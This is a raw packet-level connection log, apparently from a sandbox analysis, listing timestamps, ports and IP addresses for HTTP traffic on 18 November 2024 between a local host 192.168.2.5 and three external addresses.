Nov 18, 2024 19:04:39.871217966 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.871227980 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.871283054 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.887435913 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.887481928 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.887487888 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.887491941 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.887516022 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.887538910 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.887542009 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.887588024 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.892540932 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.892565012 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.892575026 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.892618895 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.892671108 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.892946005 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.893007040 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.893055916 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.893065929 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.893096924 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.893109083 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.893150091 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.915255070 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.915270090 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.915281057 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.915327072 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.915374041 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.917177916 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.917279005 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.917346954 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.918390036 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.918457985 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:39.918632984 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:39.987463951 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.987474918 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.987485886 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.987514019 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.987550020 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.987552881 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.987572908 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.987585068 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.987593889 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.987626076 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.988049984 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.988061905 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.988071918 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.988101959 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.988122940 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.988506079 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.988516092 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.988527060 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.988550901 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.988571882 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.988611937 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.988651037 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.988670111 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.988682032 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.988712072 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.988733053 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.989203930 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.989243984 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:39.989286900 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:39.989326000 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.006375074 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.006386995 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.006397963 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.006432056 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.006465912 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.010950089 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.011034966 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.011044979 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.011054993 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.011111975 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.011101007 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.011125088 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.011135101 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.011159897 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.011179924 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.011183977 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.011259079 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.011295080 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.011531115 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.011540890 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.011550903 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.011574984 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.011596918 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.011601925 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.011605978 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.011637926 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.014532089 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.014799118 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.014849901 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.066437960 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.066451073 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.066462040 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.066498995 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.073539972 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.073555946 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.073573112 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.073596954 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.073637009 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.098197937 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.098270893 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.106141090 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.106153965 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.106165886 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.106189966 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.106213093 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.106352091 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.106364965 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.106393099 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.106405020 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.106421947 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.106441021 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.106462955 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.106477022 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.106509924 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.106534958 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.106576920 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.106898069 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.106942892 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.106950998 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.106964111 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.106987953 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.107004881 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.107100964 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.107142925 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.107431889 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.107443094 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.107455015 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.107479095 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.107492924 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.124876976 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.124923944 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.124968052 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.124978065 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.125015020 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.125089884 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.125132084 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.129823923 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.129868984 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.129901886 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.129911900 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.129921913 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.129944086 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.129966974 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.130305052 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.130351067 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.130354881 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.130364895 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.130403042 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.130415916 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.158281088 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.158293009 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.158303976 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.158346891 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.174832106 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.174844980 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.174856901 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.174885035 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.174901962 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.214839935 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.215044975 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.215101957 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.217879057 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.217911005 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.217958927 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.218576908 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.218837976 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.218892097 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.224766970 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.224813938 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.224826097 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.224837065 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.224883080 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.224898100 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.224941015 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.225008965 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.225050926 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.225066900 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.225078106 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.225110054 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.225126982 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.225233078 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.225244999 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.225256920 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.225269079 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.225276947 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.225290060 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.225326061 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.226108074 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.226160049 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.226186037 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.226197004 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.226226091 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.226248026 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.226325035 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.226336956 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.226372957 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.230436087 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.230532885 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.230545044 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.230555058 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.230576992 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.230603933 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.243824005 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.243892908 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.243896961 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.243902922 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.243957043 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.248492002 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.248502970 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.248513937 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.248541117 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.248558998 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.248856068 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.248873949 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.248888969 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.248900890 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.248914957 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.248934031 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.293294907 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.293346882 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.293349028 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.293359041 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.293389082 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.293405056 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.293410063 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.293421984 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.293447018 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.293467045 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.312683105 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.312756062 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.312798023 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.343400002 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.343414068 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.343424082 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.343483925 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.343483925 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.343576908 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.343590021 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.343600035 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.343612909 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.343724966 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.343847990 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.344223022 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.344233990 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.344310045 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.344310045 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.344330072 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.344341993 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.344352007 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.344362974 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.344377041 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.344392061 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.344392061 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.344499111 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.344991922 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.345033884 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.346606016 CET	49989	80	192.168.2.5	185.215.113.206
Nov 18, 2024 19:04:40.351949930 CET	80	49989	185.215.113.206	192.168.2.5
Nov 18, 2024 19:04:40.362428904 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.362518072 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.362561941 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.362571955 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.362682104 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.362870932 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.362981081 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.367189884 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.367203951 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.367213964 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.367273092 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.367273092 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.367511988 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.367521048 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.367605925 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.367646933 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.367655993 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.367695093 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.375169039 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.375180960 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.375191927 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.375240088 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.376828909 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.376838923 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.376848936 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.376861095 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.376887083 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.376915932 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.393261909 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.393273115 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.393284082 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:40.393332005 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.393332005 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:40.412014008 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.412028074 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.412039995 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.412053108 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.412115097 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.412127018 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.412127018 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.412159920 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.412159920 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.465065002 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.465109110 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.465118885 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.465197086 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.465197086 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.465249062 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.465259075 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.465265036 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.465271950 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.465384007 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.465471029 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.465481997 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.465492964 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.465502977 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.465516090 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.465557098 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.465557098 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.465656996 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.465672016 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.465682983 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.465835094 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.466114044 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.466213942 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.481734991 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.481749058 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.481760025 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.482003927 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.484574080 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.486583948 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.486593962 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.486605883 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.486618996 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.486674070 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.486674070 CET	49991	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:40.487185955 CET	80	49991	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:40.487196922 CET	80	49991	185.215.113.16	192.168.2.5
